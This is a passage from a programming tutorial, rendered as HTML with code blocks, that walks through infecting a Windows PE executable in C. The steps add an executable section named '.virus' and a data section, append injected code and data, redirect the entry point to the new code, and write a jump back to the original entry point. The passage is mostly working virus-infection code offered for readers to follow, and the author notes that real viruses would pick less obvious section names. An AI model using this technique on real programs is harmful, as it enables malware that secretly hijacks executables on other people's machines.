&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">fread&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">file_header&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="k">sizeof&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">file_header&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">input&lt;/span>&lt;span class="p">);&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>To get the definition of &lt;code>IMAGE_FILE_HEADER&lt;/code>, we can include &lt;code>winnt.h&lt;/code>, or copy it from MSDN.&lt;/p>
&lt;p>Just after the &lt;code>IMAGE_FILE_HEADER&lt;/code>, there is an &lt;code>IMAGE_OPTIONAL_HEADER32&lt;/code> which we&amp;rsquo;ll need later, so we might as well grab it now:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-C" data-lang="C">&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IMAGE_OPTIONAL_HEADER32&lt;/span> &lt;span class="n">optional_header&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">fread&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">optional_header&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="k">sizeof&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">optional_header&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">input&lt;/span>&lt;span class="p">);&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Once again, either include &lt;code>winnt.h&lt;/code> or copy the struct from MSDN. While you&amp;rsquo;re there, also copy &lt;code>IMAGE_SECTION_HEADER&lt;/code>.&lt;/p>
&lt;p>Now we have everything we need to create new sections. First, create the struct in memory and fill in all the data:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-C" data-lang="C">&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IMAGE_SECTION_HEADER&lt;/span> &lt;span class="n">new_section&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">memset&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">new_section&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="k">sizeof&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">new_section&lt;/span>&lt;span class="p">));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">strncpy&lt;/span>&lt;span class="p">((&lt;/span>&lt;span class="kt">char&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="n">new_section&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Name&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;.virus&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">8&lt;/span>&lt;span class="p">);&lt;/span> &lt;span class="cm">/* arbitrary name */&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">new_section&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">VirtualSize&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mh">0x1000&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="cm">/* minimum size */&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">new_section&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">VirtualAddress&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mh">0xB000&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="cm">/* arbitrary virtual address that often doesn&amp;#39;t overlap */&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">new_section&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">SizeOfRawData&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">new_section&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">VirtualSize&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">new_section&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">PointerToRawData&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">optional_header&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">SizeOfImage&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="cm">/* append at the end of the file */&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">new_section&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Characteristics&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mh">0x60000060&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="cm">/* IMAGE_SCN_CNT_CODE | IMAGE_SCN_CNT_INITIALIZED_DATA | IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ */&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>I chose to name the section &lt;code>&amp;quot;.virus&amp;quot;&lt;/code>. These names can be up to 8 bytes long and usually start with a dot (&lt;code>'.'&lt;/code>). Real viruses wouldn&amp;rsquo;t be as kind as I am to point out that they are malicious, so they would use more innocuous names like &lt;code>&amp;quot;.data&amp;quot;&lt;/code>.&lt;/p>
&lt;p>Another arbitrary choice is the VirtualAddress. Its name is pretty self-explanatory - it&amp;rsquo;s an RVA to the start of the section. For obvious reasons, sections shouldn&amp;rsquo;t overlap. I chose &lt;code>0xB000&lt;/code> since it should be clear of other sections in most small programs. You could, if you wanted, iterate over the existing sections to find an address that you can guarantee not to overlap.&lt;/p>
&lt;p>The &lt;code>Characteristics&lt;/code> field should be pretty self-explanatory for anyone who&amp;rsquo;s ever called &lt;code>mmap&lt;/code> or any kind of a similar function. It&amp;rsquo;s just a binary OR on a bunch of enums. You could insert the enum values directly in there, but I prefer (in this case) writing out the number in code and the enum values in a comment.&lt;/p>
&lt;p>After filling in the struct, we need to traverse to the end of the current sections and write the struct there (we just hope there&amp;rsquo;s nothing else in that space, and due to padding, there usually isn&amp;rsquo;t):&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-C" data-lang="C">&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">uint32_t&lt;/span> &lt;span class="n">section_offset&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">dos_header&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">e_lfanew&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="k">sizeof&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">file_header&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">file_header&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">SizeOfOptionalHeader&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">fseek&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">output&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">section_offset&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">file_header&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">NumberOfSections&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="k">sizeof&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">IMAGE_SECTION_HEADER&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="n">SEEK_SET&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">fwrite&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">new_section&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="k">sizeof&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">new_section&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">output&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">file_header&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">NumberOfSections&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">optional_header&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">SizeOfImage&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="n">new_section&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">VirtualSize&lt;/span>&lt;span class="p">;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Since the &lt;code>output&lt;/code> file pointer is now exactly after our newly added section, we can add the second section without worrying about &lt;code>fseek&lt;/code>:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-C" data-lang="C">&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">memset&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">new_section&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="k">sizeof&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">new_section&lt;/span>&lt;span class="p">));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">strncpy&lt;/span>&lt;span class="p">((&lt;/span>&lt;span class="kt">char&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="n">new_section&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Name&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;.vdata&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">8&lt;/span>&lt;span class="p">);&lt;/span> &lt;span class="cm">/* another arbitrary name */&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">new_section&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">VirtualSize&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mh">0x1000&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">new_section&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">VirtualAddress&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mh">0xC000&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">new_section&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">SizeOfRawData&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">new_section&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">VirtualSize&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">new_section&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">PointerToRawData&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">optional_header&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">SizeOfImage&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mh">0x1000&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">new_section&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Characteristics&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mh">0xc0000040&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="cm">/* IMAGE_SCN_CNT_INITIALIZED_DATA | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE */&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>and once again add the new section like before.&lt;/p>
&lt;p>Now, take a note of the original entry point and modify it:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-C" data-lang="C">&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">uint32_t&lt;/span> &lt;span class="n">original_entry_point&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">optional_header&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">AddressOfEntryPoint&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">optional_header&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">AddressOfEntryPoint&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mh">0xB000&lt;/span>&lt;span class="p">;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>The next thing we need to do is update the file header and optional header with the new data:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-C" data-lang="C">&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">fseek&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">output&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">dos_header&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">e_lfanew&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">SEEK_SET&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">fwrite&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">file_header&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="k">sizeof&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">file_header&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">output&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">fwrite&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">optional_header&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="k">sizeof&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">optional_header&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">output&lt;/span>&lt;span class="p">);&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>The only thing left is to fill in that data at the end of the file:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-C" data-lang="C">&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">fseek&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">output&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">optional_header&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">SizeOfImage&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="mh">0x2000&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">SEEK_SET&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">char&lt;/span> &lt;span class="n">buff&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mh">0x1000&lt;/span>&lt;span class="p">];&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">size_t&lt;/span> &lt;span class="n">code_len&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nf">fread&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buff&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x1000&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">code&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">fwrite&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buff&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x1000&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">output&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">fread&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buff&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x1000&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">data&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">fwrite&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buff&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x1000&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">output&lt;/span>&lt;span class="p">);&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>And, of course, insert the jump:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-C" data-lang="C">&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">char&lt;/span> &lt;span class="n">jmp_instruction&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mh">0xE9&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="cm">/* jump on x86_64 aka. AMD64 */&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">uint32_t&lt;/span> &lt;span class="n">jmp_offset&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">original_entry_point&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="mh">0xB000&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">code_len&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">5&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">fseek&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">output&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">optional_header&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">SizeOfImage&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="mh">0x2000&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">code_len&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">SEEK_SET&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">fwrite&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">jmp_instruction&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="k">sizeof&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">jmp_instruction&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="n">output&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">fwrite&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">jmp_offset&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="k">sizeof&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">jmp_offset&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="n">output&lt;/span>&lt;span class="p">);&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
